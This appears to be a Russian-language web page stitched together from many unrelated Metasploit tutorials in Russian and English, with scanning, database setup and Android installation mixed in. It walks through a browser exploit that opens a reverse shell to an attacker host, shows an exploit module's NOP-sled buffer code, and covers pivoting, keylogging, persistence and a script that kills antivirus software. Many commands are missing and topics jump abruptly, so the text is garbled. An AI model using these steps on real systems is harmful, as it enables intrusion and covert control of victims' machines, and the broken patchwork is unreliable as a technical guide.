Автоматизация действий атакующего, используя metasploit и python

Scanning Targets

Scanning is the process of fingerprinting hosts and enumerating open ports to gain visibility into services running within a network. Scanning enables you to identify the active systems with services that you can communicate with so that you can build an effective attack plan. Metasploit has its own built-in discovery scanner that uses Nmap to perform basic TCP port scanning and gather additional information about the target hosts .

By default, the discovery scan includes a UDP scan, which sends UDP probes to the most commonly known UDP ports, such as NETBIOS, DHCP, DNS, and SNMP. The scan tests approximately 250 ports that are typically exposed for external services and are more commonly tested during a penetration test.

During a discovery scan, Metasploit Pro automatically stores the host data in the project. You can review the host data to obtain a better understanding of the topology of the network and to determine the best way to exploit each target. Oftentimes, the network topology provides insight into the types of applications and devices the target has in place. The more information that you can gather about a target, the more it will help you fine-tune a test for it.

Running a discovery scan is simple. From within a project, click the Scan button.

When the New Discovery Scan form appears, enter the hosts you want to scan in the Target addresses field. You can enter a single IP address, an IP range described with hyphens, or a standard CIDR notation. Each item needs to appear on a newline.

You can run the scan with just a target range; however, if you want to fine-tune the scan, you can configure the advanced options. For example, you can specify the hosts you want to exclude from the scan and set the scan speed from the advanced options.

Want to learn more about discovery scans? Check out this page.

Сбор информации

Тебе должно быть известно, что MSF работает с БД для складирования информации, обмена ей между своими модулями. И это направление активно развивается.

Для начала, единственная полностью поддерживаемая БД – это PostgreSQL. От SQLite отказались из-за вопросов производительности/масштабируемости, с MySQL тоже что-то не гладко пошло. Вообще, установка Postgres’а не должна вызвать проблем. Драйвер для взаимодействия вшит в MSF.

Под Win: ставим, задаем пасс для юзера – postgres и порт.

Через pgAdmin: коннектимся к локальному серваку, создаем еще одного пользователя «Роли входа» (msf_user), создаем БД в «Базы» (msf_db). Там же можно настроить сам SQL-сервак, сделав его «побезопасней», да и полазить по таблицам MSF.

В msfconsole:

Теперь команда db_create не работает напрямую, можно только коннектиться к существующей БД, и, если есть соответствующие права (как у юзера postgres), база автоматически создастся. Иначе – создавать базу вручную в Postgres’е.

Но это не так страшно, ведь можно пользоваться workspace’ами. БД одна, таблицы те же, но модули обмениваются/добавляют инфу только в текущем спэйсе. Попробуешь – поймешь, db_workspace тебе в помощь.

Немного разберемся с командами:

  • db_service – выводится инфа о портах/сервисах, просканированных либо модулями, либо встроенным nmap’ом, либо импортированная из сторонних программ. На основе этого работает db_autopwn с параметром –p (по портам);
  • db_notes – «заметки», типа версии ОС, полученные из Nmap, или какие-то «подробности» полученые WMap’ом. Жаль, но db_autopwn, похоже, не смотрит db_notes для выбора сплоита.
  • db_vulns – уязвимости, найденные либо модулями MSF(WMap), либо импортом из Nessus’а(OpenVAS), Nexpose. На основе этого работает db_autopwn с параметром –x (по уязвимостям).

Для примера просканируем хост nmap’ом и результаты попадут в нашу БД:

Итог от модуля порт-сканера из MSF будет аналогичным, и данные тоже попадут в БД. Вот только для определения сервисов требуется пользоваться уже другими модулями (все aux-модули с «version» на конце в разделе scanner, например, scanner/imap/imap_verison).

Чтобы автоматизировать последние действия, да и вообще любые действия в MSF, можно воспользоваться так называемыми resource-файлами. По сути это обычные текстовые файлики с последовательным перечислением команд для MSF. Например, создадим ресурсик для быстрого запуска «сервера» для реверсового meterpreter’а. Для этого пихнем в файл(metrevhandl.rc) следующие команды:

Запускаем наш скрипт с помощью «resource»:

Как видишь – очень удобно. Но это еще не все. Самое сладкое в том, что в этих скриптах можно писать код на Руби, что и позволяет нам, например, установить взаимоотношения между отдельными модулями MSF.

Кстати, home/.msf3/msfconsole.rc – скрипт, который автоматически запускается при старте msfconsole. В него очень удобно запихнуть коннект в БД, например.

route

The route command in Metasploit allows you to route sockets through a session or ‘comm’, providing basic pivoting capabilities. To add a route, you pass the target subnet and network mask followed by the session (comm) number.

meterpreter > route -h
Route traffic destined to a given subnet through a supplied session.

Usage:
  route [add/remove] subnet netmask [comm/sid]
  route [add/remove] cidr [comm/sid]
  route  
  route 
  route 

Subcommands:
  add - make a new route
  remove - delete a route; 'del' is an alias
  flush - remove all routes
  get - display the route for a given target
  print - show all active routes

Examples:
  Add a route for all hosts from 192.168.0.0 to 192.168.0.0 through session 1
    route add 192.168.0.0 255.255.255.0 1
    route add 192.168.0.0/24 1

  Delete the above route
    route remove 192.168.0.0/24 1
    route del 192.168.0.0 255.255.255.0 1

  Display the route that would be used for the given host or network
    route get 192.168.0.11

meterpreter >
meterpreter > route

Network routes
==============

    Subnet           Netmask          Gateway
    ------           -------          -------
    0.0.0.0          0.0.0.0          172.16.1.254
    127.0.0.0        255.0.0.0        127.0.0.1
    172.16.1.0       255.255.255.0    172.16.1.100
    172.16.1.100     255.255.255.255  127.0.0.1
    172.16.255.255   255.255.255.255  172.16.1.100
    224.0.0.0        240.0.0.0        172.16.1.100
    255.255.255.255  255.255.255.255  172.16.1.100

Auto-Exploitation

The auto-exploitation feature cross-references open services, vulnerability references, and fingerprints to find matching exploits. All matching exploits are added to an attack plan, which basically identifies all the exploits that are can be run. The simple goal of auto-exploitation is to get a session as quickly as possible by leveraging the data that Metasploit has for the target hosts.

To run auto-exploitation, click the Exploit button located in the Quick Tasks bar.

At a minimum, you’ll need to provide the hosts you want to exploit and the minimum reliability for each exploit. The minimum reliability can be set to guarantee the safety of the exploits that are launched. The higher the reliability level, the less likely the exploits used will crash services or negatively impact a target. For a description of each module ranking, check out this page.check out this page.

Passive Exploits

Passive exploits wait for incoming hosts and exploit them as they connect.

  • Passive exploits almost always focus on clients such as web browsers, FTP clients, etc.
  • They can also be used in conjunction with email exploits, waiting for connections.
  • Passive exploits report shells as they happen can be enumerated by passing ‘-l’ to the sessions command. Passing ‘-i’ will interact with a shell.
msf exploit(ani_loadimage_chunksize) > sessions -l

Active sessions
===============

  Id  Description  Tunnel
  --  -----------  ------
  1   Meterpreter  192.168.1.5:52647 -> 192.168.1.100:4444

msf exploit(ani_loadimage_chunksize) > sessions -i 1
 Starting interaction with 1...

meterpreter >

Example

The following output shows the setup to exploit the animated cursor vulnerability. The exploit does not fire until a victim browses to our malicious website.

msf > use exploit/windows/browser/ani_loadimage_chunksize
msf exploit(ani_loadimage_chunksize) > set URIPATH /
URIPATH => /
msf exploit(ani_loadimage_chunksize) > set PAYLOAD windows/shell/reverse_tcp
PAYLOAD => windows/shell/reverse_tcp
msf exploit(ani_loadimage_chunksize) > set LHOST 192.168.1.5
LHOST => 192.168.1.5
msf exploit(ani_loadimage_chunksize) > set LPORT 4444
LPORT => 4444
msf exploit(ani_loadimage_chunksize) > exploit
 Exploit running as background job.

 Started reverse handler
 Using URL: http://0.0.0.0:8080/
  Local IP: http://192.168.1.5:8080/
 Server started.
msf exploit(ani_loadimage_chunksize) >
 Attempting to exploit ani_loadimage_chunksize
 Sending HTML page to 192.168.1.100:1077...
 Attempting to exploit ani_loadimage_chunksize
 Sending Windows ANI LoadAniIcon() Chunk Size Stack Overflow (HTTP) to 192.168.1.100:1077...
 Sending stage (240 bytes)
 Command shell session 2 opened (192.168.1.5:4444 -> 192.168.1.100:1078)

msf exploit(ani_loadimage_chunksize) > sessions -i 2
 Starting interaction with 2...

Microsoft Windows XP 
(C) Copyright 1985-2001 Microsoft Corp.

C:\Documents and Settings\victim\Desktop>

Next, we will look at how to actually use exploits in Metasploit.

Полезная терминология

Начало работы с Metasploit стартует после установки программы. ПО легко поможет установить файловую систему и библиотеки, так как оно интуитивно понятно. Metasploit основан на языке сценариев, поэтому имеет папку содержащие сценарии «meterpreter» и другие, требуемые платформой. MSF можно получить через GUI, а также версию командной строки.

Общие термины:

  1. Уязвимость — слабость в целевой системе, благодаря которой может успешно произойти проникновение.
  2. Эксплойт, как только уязвимость становится известной, злоумышленник использует ее и проникает в систему с помощью кода.
  3. Payload, полезная нагрузка, набор задач, инициированных злоумышленником после эксплойта, чтобы сохранить доступ к скомпрометированной системе.
  4. Single — автономная полезная нагрузка, выполняющая определенную задачу.
  5. Stager — облегчает доставку полезных функций и создает сетевое соединение между компьютерами злоумышленника и жертвы. Перед тем как пользоваться Metasploit загружают функции, через соединения, например, VNC и meterpreter.

Есть и другие сетевые и системные команды, которые нужно изучить для успешной работы с ПО. Захват нажатия клавиш легко выполняется с помощью набора команд пользовательского интерфейса «stdapi». Keyscan_start запускает службу, а keyscan_dump показывает захваченные нажатием клавиши.

Starting msfrpcd

accepts the following arguments:

$ ./msfrpcd -h

   Usage: msfrpcd <options>

   OPTIONS:

       -P <opt>  Specify the password to access msfrpcd
       -S        Disable SSL on the RPC socket
       -U <opt>  Specify the username to access msfrpcd
       -a <opt>  Bind to this IP address
       -f        Run the daemon in the foreground
       -h        Help banner
       -n        Disable database
       -p <opt>  Bind to this port instead of 55553
       -u <opt>  URI for Web server

The only parameter that is required to launch is the (password) parameter. This specifies the password
that will be used to authenticate users to the daemon. As of this writing, only supports one username/password
combination. However, the same user can log into the daemon multiple times. Unless specified otherwise, the
daemon listens on port 55553 on all interfaces ().

For the purposes of this tutorial let’s start the daemon with a minimal configuration:

$ ./msfrpcd -P mypassword -n -f -a 127.0.0.1
 MSGRPC starting on 0.0.0.0:55553 (SSL):Msg...
 MSGRPC ready at 2014-04-19 23:49:39 -0400.

The parameter tells to remain in the foreground and the parameter disables database support.
Finally, the parameter tells to listen for requests only on the local loopback interface ().

Что нужно знать и сделать перед установкой

Первое, о чем следует позаботиться, — это права root. Без них некоторые функции установленных нами утилит могут не поддерживаться или работать некорректно. Поэтому настоятельно рекомендую их заполучить. Особенно это касается пользователей с Android 10 и более поздних версий.

Получение root в каждом случае уникально, ведь оно напрямую зависит от конкретной модели устройства и версии Android. Я в этой статье буду использовать свой старенький Samsung Galaxy S6 (SM-G920F) на Android 7.0 Nougat, для рута в котором уже есть специальный инструмент. В остальных случаях придется погуглить и узнать, как получить рут конкретно на твоем устройстве. На форуме 4PDA почти всегда есть нужная инструкция.

Также нам понадобится Termux — простой и удобный терминал, дающий многие возможности среды Linux, который и позволит исполнять наши команды в подходящей среде и не возиться с предварительной настройкой окружения.

Рекомендую также установить утилиту tsu, которая предоставит тебе возможность выполнять команды от рута. Если она не работает должным образом, загляни в GitHub-репозиторий, который настраивает работу рута в Termux. Это нужно, чтобы Termux сразу имел рут-доступ, который может понадобиться для дальнейших операций.

INFO

Важный момент: при использовании в качестве рута Magisk (а на большинстве современных устройств альтернатив нет и не предвидится) не забудь в его настройках разрешить Termux рут-доступ, а также добавить в исключения для Magisk Hide, иначе все наши действия будут бесполезны.

Также рекомендую обновить список пакетов, как мы обычно делаем это в десктопе Kali:

Пара слов о Kali NetHunter

Если ты один из тех счастливчиков, чье устройство оказалось в списке поддерживаемых, рекомендую попробовать Kali NetHunter. Это платформа, созданная разработчиками Kali Linux специально для телефонов на Android. В NetHunter сразу доступно много рабочего софта из десктопной версии Kali. Образы можно найти на официальном сайте. Это более мощный набор, чем тот, что ты можешь получить с помощью Termux.

Подробнее о Kali NetHunter читай в статье «Атака со смартфона: знакомимся с Kali NetHunter».

Устанавливаем Metasploit

Полное описание Metasploit — тема для отдельной статьи, поэтому пройдемся по нему вкратце. Metasploit Framework — фреймворк, предназначенный для создания, отладки и, конечно, применения эксплоитов.

Установить Metasploit Framework (MSF) на Android 7 или выше можно в две команды:

На Android 5.x.x–6.x.x MSF устанавливают несколько другим методом:

WARNING

Все эти команды следует выполнять с правами обычного пользователя, если не оговорено иное: при выполнении от рута могут возникать трудноисправимые проблемы.

В частности, при запуске apt от рута мы получим сбитые контексты SELinux, что потом помешает нам устанавливать пакеты.

Установка может затянуться. Не закрывай сессию Termux до конца установки MSF!

WARNING

Не стоит обновлять MSF вручную редактированием , так как это может привести к проблемам с зависимостями.

Теперь, чтобы убедиться, что у нас все работает, запустим Metasploit:

Metasploit Framework

Как видишь, все отлично и в твоем распоряжении 2014 эксплоитов.

Вариант 1. Присоединись к сообществу «Xakep.ru», чтобы читать все материалы на сайте

Членство в сообществе в течение указанного срока откроет тебе доступ ко ВСЕМ материалам «Хакера», позволит скачивать выпуски в PDF, отключит рекламу на сайте и увеличит личную накопительную скидку!
Подробнее

Вариант 2. Открой один материал

Заинтересовала статья, но нет возможности стать членом клуба «Xakep.ru»? Тогда этот вариант для тебя!
Обрати внимание: этот способ подходит только для статей, опубликованных более двух месяцев назад.

Я уже участник «Xakep.ru»

Установка приложения для Android

Metasploit termux — это приложение для Android, поддерживающее среду Linux.

Чтобы установить ПО, выполняют такие действия:

  1. Устанавливают Termux Google Play-Store.
  2. Вводят команду «apt update».
  3. Обновляют команду «apt install curl».
  4. Вводят «cd $ HOME».
  5. После завершения загрузки вышеуказанного файла вводят «ls», откроется файл «.sh».
  6. Вводят эту команду «chmod + x metasploitTechzindia.sh».
  7. Запускают скрипт по команде типа «sh metasploitTechzindia.sh».
  8. Вводят «ls».
  9. Находят папку «Metasploit-framework».
  10. Открывают папку «cd yourfoldername».
  11. Вводят команду «ls».
  12. Вводят «./msfconsole» для запуска MSF.

Building Metasploitable 3

System Requirements:

  • OS capable of running all of the required applications listed below
  • VT-x/AMD-V Supported Processor recommended
  • 65 GB Available space on drive
  • 4.5 GB RAM

Requirements:

  • Internet connection

To build automatically:

    • On Linux/OSX run to build the Windows box or to build the Linux box. If /tmp is small, use to store temporary packer disk images under /var/tmp.
    • On Windows, open powershell terminal and run to build the Windows box or to build the Linux box. If no option is passed to the script i.e. , then both the boxes are built.
  1. If both the boxes were successfully built, run to start both. To start any one VM, you can use:
    • : to start the Linux box
    • : to start the Windows box
  2. When this process completes, you should be able to open the VM within VirtualBox and login. The default credentials are U: and P: .

To build manually:

  1. Clone this repo and navigate to the main directory.
  2. Build the base VM image by running where is your preferred virtualization platform. Currently , , and providers are supported. This will take a while the first time you run it since it has to download the OS installation ISO.
  3. After the base Vagrant box is created you need to add it to your Vagrant environment. This can be done with the command .
  4. Use to install the reload vagrant provisioner if you haven’t already.
  5. To start the VM, run the command . This will start up the VM and run all of the installation and configuration scripts necessary to set everything up. This takes about 10 minutes.
  6. Once this process completes, you can open up the VM within VirtualBox and login. The default credentials are U: vagrant and P: vagrant.

Videos:

ub1404 Development and Modification

Using Vagrant and a lightweight Ubuntu 14.04 vagrant cloud box image, you can quickly set up and customize ub1404 Metasploitable3 for development or customization.
To do so, install Vagrant and a hypervisor such as VirtualBox. Then, visit the page and find a version that supports
your hypervisor. For instance, version is compatible with VirtualBox.

Install the vagrant virtualbox vbguest plugin:

Then, navigate to the directory in this repository. Examine the Vagrantfile there. Metasploitable ub1404 uses the vagrant provisioner.
To this Vagrantfile, add the metasploitable chef recipes that you desire — you can browse them in the folder. Or,
add or edit your own cookbook and/or recipes there.

From the directory, you can run to get a development virtual ub1404 instance. After the initial build and provision,
when you edit the chef runlist or when you edit a chef recipe, run from the same directory. For faster development, you can comment-out
recipes that you do not need to rerun — but even if they are all enabled, vagrant provisioning should not take longer one or two minutes.
Chef aims to be idempotent, so you can rerun this command often.

Consider taking a snapshot (e.g., ) before modifying recipes, so that you can always return to an initial state ().
If you want a totally fresh snapshot, you can do the initialization with , then take a snapshot, followed by .

Тестирование уязвимости

Сканер уязвимости похож на другие типы сканеров — например, сканеры портов помогают защитить сеть и системы в ней. Целью таких проверок является выявление любых слабых мест и использование результатов для решения проблем до того, как это сделают злоумышленники. Распространенные проблемы в процессе сканирования, включают обнаружение переполнения буфера, непатентованное программное обеспечение, проблемы языка структурированных запросов (SQL) и другие. То, сколько сканер обнаруживает, зависит от самого программного обеспечения, некоторые сканеры гораздо более агрессивны в сканировании, обнаруживая отсутствующие исправления или ошибки конфигурации, в то время как другие просто указывают юзеру правильное направление.

Metasploit выходит за рамки обычных сканеров уязвимостей, он дает возможность разрабатывать собственные эксплойты и механизмы доставки. Идея заключается в том, что в тех случаях, когда другие методы основаны на известных проблемах, Msf позволяет разрабатывать свои с целью обеспечения большей гибкости в сканировании, а также в исследованиях.

Чтобы запустить функцию сканера, выполняют инструкцию по применению Metasploit:

  1. Выбирают и настраивает эксплойт для таргетинга. Он будет нацелен на систему с целью воспользоваться дефектом ПО. Пул зависит от операционной системы и изменяется в зависимости от версии системы, постоянно увеличиваясь. В настоящее время Msf содержит более 400 эксплойтов для большинства современных операционных систем.
  2. Проверяют эксплойт против системы с целью выяснить, уязвима ли система для него.
  3. Выбирают и настраивает полезную нагрузку, в виде кода, запущенного после того, как сканер обнаружит точку входа в систему.
  4. Выбирают и настраивает метод кодирования и доставки, который будет использоваться. Цель этого шага — отформатировать полезную нагрузку таким образом, чтобы она могла обойти укоренившиеся системы обнаружения вторжений (IDS).
  5. Выполняют эксплойт.

Таким образом, MSI предлагает множество информации о безопасности. Это не просто эксплойты, это полная структура сетевой безопасности. В настоящее время в ПО нет недостатка в инструментах. Расширенные возможности Metasploit позволяют администраторам сканировать широкий спектр сетевых устройств и сообщать о любых найденных уязвимостях или соответствующим неверным настройкам безопасности.

Установка

Установите пакет из AUR.

Для использования нестабильной версии установите AUR.

Для использования Armitage необходима . Также обязательно использование файла .

Примером файла является .

RVM

Msfconsole нуждается в Ruby и некоторых .

Используя статьи и , установите Ruby версии 2.1.5 и сделайте её стандартной. (прим.ред.: если честно, пакет metasploit при установке сам делает эти операции. Не знаю точно, необходимо это делать или нет, но, используя этот гайд, мне пришлось переустанавливать всё 3-4 раза, чтобы оно заработало. Возможно, фреймворк заработает и без выполнения этого пункта инструкции)

Завершите установку RVM:

$ source ~/.rvm/scripts/rvm

и установите все гемы Msfconsole, используя :

$ gem install bundler
$ bundle install

(прим.ред.: лично я в гемфайле указал стандартные гемы и metasploit-concern)

Примечание: Использование версии Ruby старше чем 2.1.5 приведёт к ошибке установки гема .

Вводная

Всем привет, в этой статье я хочу поделиться своим опытом в эксплуатации уязвимости Chrome FileReader UAF, проведении техники pivoting, ну и написать свою первую статью конечно.

Так как я являюсь начинающим Pentest инженером, то потратил на освоение и понимание этой техники достаточно много времени, ведь мне не достаточно знать на какую кнопку надо нажать, но так же мне важно знать как эта кнопка работает. Естественно, я пытался все это время найти какую-либо информацию по этому вопросу, но так как My English level is bad, то это заняло у меня намного больше времени, чем я рассчитывал

Возможно, эта статья кому-нибудь поможет не наступить лишний раз на грабли, на которые наступил я при изучении и эксплуатации данной уязвимости, а так же немного разобраться как же она вообще работает и где тут магия.

CVE-2019-5786 Chrome FileReader Use After Free(UAF) — это уязвимость одна из прошлогодних (была найдена 8 мая 2019 года), её давно уже успели пропатчить, но есть вероятность, что остались те люди (админы или обычные юзвери), которые отрубают автоматическое обновление и это нам на руку.

Справка по Metasploit

Использование:

msfconsole 
Общие параметры
    -E, --environment ОКРУЖЕНИЕ    Окружение Rails. Будет использовать переменные окружения RAIL_ENV если они установлены.  По умолчанию для работы ни опция, ни переменная окружения RAILS_ENV не устанавливаются.

Опции базы данных
    -M, --migration-path ДИРЕКТОРИЯ   Указать директорию, содержащую дополнительную базу данных
    -n, --no-database                Отключить поддержку базы данных
    -y, --yaml ПУТЬ                  Указать файл YAML, содержащий настройки базы данных

Опции фреймворка
    -c ФАЙЛ                          Загрузить особый конфигурационный файл
    -v, --version                    Показать версию

Опции модулей
        --defer-module-loads         Отложить загрузку модулей до явного запроса.
    -m, --module-path ДИРЕКТОРИЯ      Дополнительное размещение модулей


Console options:
    -a, --ask                        Спросить перед выходом из Metasploit или выйти по 'exit -y'
    -L, --real-readline              Использовать системную библиотеку Readline вместо RbReadline
    -o, --output ФАЙЛ                Вывод в указанный файл
    -p, --plugin ПЛАГИН              Загрузить плагин при старте
    -q, --quiet                      При старте не печатать баннер
    -r, --resource ФАЙЛ              Выполнить указанный файл ресурса (- для стандартного ввода)
    -x, --execute-command КОММАНДА    Выполнить указанную строку как консольную команду (для нескольких команд используйте ;)
    -h, --help                       Показать справку

sessions

The sessions command allows you to list, interact with, and kill spawned sessions. The sessions can be shells, Meterpreter sessions, VNC, etc.

msf > sessions -h
Usage: sessions  or sessions 

Active session manipulation and interaction.

OPTIONS:

    -C   Run a Meterpreter Command on the session given with -i, or all
    -K        Terminate all sessions
    -c   Run a command on the session given with -i, or all
    -h        Help banner
    -i   Interact with the supplied session ID
    -k   Terminate sessions by session ID and/or range
    -l        List all active sessions
    -q        Quiet mode
    -r        Reset the ring buffer for the session given with -i, or all
    -s   Run a script on the session given with -i, or all
    -t   Set a response timeout (default: 15)
    -u   Upgrade a shell to a meterpreter session on many platforms
    -v        List sessions in verbose mode
    -x        Show extended information in the session table

Many options allow specifying session ranges using commas and dashes.
For example:  sessions -s checkvm -i 1,3-5  or  sessions -k 1-2,5,6

To list any active sessions, pass the -l options to sessions.

msf exploit(3proxy) > sessions -l

Active sessions
===============

  Id  Description    Tunnel
  --  -----------    ------
  1   Command shell  192.168.1.101:33191 -> 192.168.1.104:4444

To interact with a given session, you just need to use the -i switch followed by the Id number of the session.

msf exploit(3proxy) > sessions -i 1
 Starting interaction with 1...

C:WINDOWSsystem32>

Настройка базы данных

Примечание: Команды, которые должны быть запущены из , имеют префикс .

Metasploit можно использовать и без базы данных, но операции, использующие кэш (например, поиск), будут занимать очень много времени.

Примечание: Если вы собираетесь использовать , база данных обязательна.

Используя статью PostgreSQL, создайте БД под именем . Можно назвать её иначе, на в этой статье мы будем ласково её называть .

Запустите и напишите:

msf > db_connect user@msf

Где user — имя пользователя БД (обычно имя пользователя, под которым вы работаете) (прим.ред.: но я-то знаю, что Вы действовали по инструкции и именем пользователя будет postgres).

Обновите кэш БД:

msf > db_rebuild_cache

Metasploit обновит кэш БД в фоне, это не помешает Вам использовать фреймворк в это же время.

Совет: Обновление кэша БД может занять несколько минут. Запустите или , чтобы наблюдать процесс обновления кэша. В это время процессы Ruby/Postgres/Metasploit будут создавать до 50% нагрузки на CPU.

Metasploit нуждается в команде при каждом запуске . Чтобы избежать этих манипуляций при каждом запуске, просто используйте этот alias в вашем файле автозапуска, например, :

alias msfconsole="msfconsole --quiet -x \"db_connect ${USER}@msf\""

где опция отключит баннер MSF при запуске, а команда произведёт операцию прямо после запуска.

Другой способ — создание файла в каталоге . Например:

~/.msf4/database.yml
production:
 adapter: postgresql
 database: msf
 username: ${USER}
 password: ${PASS}
 host: localhost
 port: 5432
 pool: 5
 timeout: 5

Примечание: Кэш БД нуждается в создании лишь однажды. После этого, во время запуска будет писать , но на самом деле он будет просто добавлять изменения. Если никаких изменений не было, процесс займёт около 0.5 секунды.

Выполните , чтобы проверить статус соединения с БД:

msf > db_status
 postgresql connected to msf

Эксплоит для Metasploit

Итак, у нас есть сплоит для конкретной платформы с вполне определенной
нагрузкой, открывающей в системе шелл. Так зачем нужна вообще какая-либо
специальная платформа для создания сплоита, если мы вполне обошлись силами
одного лишь Perl’а? Причина в том, что Metasploit предоставляет огромное
количество заготовок, реализаций различных протоколов, одну из самых больших баз
шелл-кодов, payload-ов, которые можно использовать при написании собственного
эксплоита. Вместо убогого скрипта на Perl’е можно написать модуль для Metasploit,
после чего запускать его на любой платформе и выбирать payload на свой вкус!
Чуешь разницу? Предлагаю прямо сейчас усовершенствовать наш сплоит, переписав
его для Metasploit, и посмотреть, как это работает. Само собой, он будет
обладать возможностью выбора платформы для атаки, а выбирать пейлоад ты сможешь
прямо во время исполнения атаки.

Любой эксплоит для Metasploit имеет фиксированную структуру, которая состоит
из объявления заголовочных файлов, подключения ядра msf/core, определения класса
эксплоита, в котором описывается его функциональность. Я не буду приводить здесь
полный исходник модуля, но выкладываю его на диске. Рекомендую для большей
ясности открыть его прямо сейчас и далее читать мое практически построчное
объяснение его кода.
Первое, с чего начинается любой сплоит, – это подключение ядра Metasploit
Framework:

Функциональность любого сплоита описывается с помощью класса, где его
настройки задаются с помощью параметров, а функциональность – с помощью методов.
Создаваемый объект наследуется от одного из предопределенных классов. Поскольку
мы создаем удаленный сплоит, то и наследуем наш объект от родительского класса
«Удаленный эксплоит». В синтаксисе Ruby это делается так:

Большая заслуга Metasploit в том, что он унифицирует большое количество
параметров и действий, позволяя использовать готовые конструкции вновь и вновь.
Первый элемент разрабатываемого класса – секция include, где мы подключаем
обработчик для нужного нам протокола. В Metasploit есть обработчики для http,
ftp и других протоколов, что позволяет быстрее писать эксплоиты, не
заморачиваясь с их собственной реализацией. Наш эксплоит использует
TCP-подключение, поэтому код будет выглядеть следующим образом:

Далее весь сплоит делится на два метода: метод инициализации, в котором мы
указываем информацию, необходимую для успешного выполнения эксплоита, и метод
эксплуатации, в котором мы отправляем на сервер ядовитую строку.

Начнем с инициализации. Параметр Payload задает длину ядовитого буфера и
недопустимые символы (в нашем случае – 0х00 и 0xff):

Далее определяем цели эксплоита и специфичные для каждой цели параметры,
такие как адрес возврата, смещение и т.д.:

Обрати внимание, мы не определяем сам шелл-код – то есть, нагрузку, которую
выполнит сплоит. Действие на удаленной машине будет выбираться интерактивно во
время работы в консоли Metasploit’ом

Сейчас нам остается только написать самое
главное — метод для эксплуатации уязвимости. С помощью команды connect
устанавливаем TCP-соединение (обработчик протокола мы подключили выше и даже
указали порт, помнишь?), далее – определяем ядовитую строку и передаем ее в
сокет, после чего разрываем соединение. Ядовитый буфер состоит из цепочки
NOP-команд, величины Offset — затем к ней прибавляется адрес возврата, еще
небольшая NOP-цепочка и зашифрованный PAYLOAD. Все вместе выглядит так:

junk = make_nops(target)
sploit = junk + .pack(‘V’) + make_nops(50) + payload.encoded
sock.put(sploit)

handler
disconnect
end

Вот и все, наш первый модуль для Metasploit готов! Чтобы его можно было
использовать, скопируем исходник в папку modules/exploits/test (если не нравится
test – можешь скопировать в windows/misc, например). Запускаем msfconsole и
работаем в интерактивной консоли Metasploit’а!

Постэксплуатация

Да, теперь переходим к самому вкусному – постэкслуатации и meterpreter’у. Надеюсь, ты знаком с meterpreter’ом, потому как рассказывать, насколько он хорош (и следов после себя почти не оставляет, и работает в chroot’е) и функционален (встроенные хак-тулзы, модификация реестра и файловой системы, миграция по процессами и токенам, маршрутизация) у меня нет желания :).

Давай предположим, что мы получили доступ к одному из компов (192.168.146.129) в корпоративой сети и мы (192.168.0.102) хотим развить наш успех – просканить подсетку и поиметь еще что-нибудь.

Добавляем маршрут (подсетка, ее маска, сессия для маршрутизации) в msfconsol’е:

К сожалению, nmap не захотел пользоваться этим маршрутом – видимо, не такая глубокая интеграция пока что. Но обычными модулями, сплоитами и сканерами спокойно (то есть без каких-либо спецнастроек) можно пользоваться для развития атаки (см. рисунок) – всю маршуртизацию берет на себя MSF.

Так как у определенных хостов может быть ограничен доступ во внешнюю сеть (где находимся мы), то для связи с ними можно использовать портфорвардинг на уже уделанной жертве, благо, meterpreter это умеет:

Теперь прописываем в payload’ах сплоитов LHOST=192.168.146.129, LPORT=8008, и все будет тип-топ.

Meterpreter имеет чудесную возможность – автоматизация действий посредством руби-скриптов. Это реально круто. Посмотреть существующие скрипты можно в msf3\scripts\meterpreter, во время юзания – пишем run и дважды Tab (для тех, кто не в теме :). Запускать скрипты можно либо ручками через команду run, либо указав переменную AutoRunScript или InitialAutoRunScript при конфиге нагрузке/сервера. Вторая переменная – выполняется до запуска шелла, первая – после.

Скриптов входящих в поставку уже много, из самого стандартного:

  • winenum – быстренько собирается вся инфа о системе от сетевых настроек до установленного ПО и хешей;
  • persistence, metsvc – прописывает meterpreter на автозапуск в реестре или как сервис;
  • getcountermeasure – отключает файер, может убивать процессы разнообразных антивирусов и файрволов.
Оцените статью
Рейтинг автора
5
Материал подготовил
Андрей Измаилов
Наш эксперт
Написано статей
116
Добавить комментарий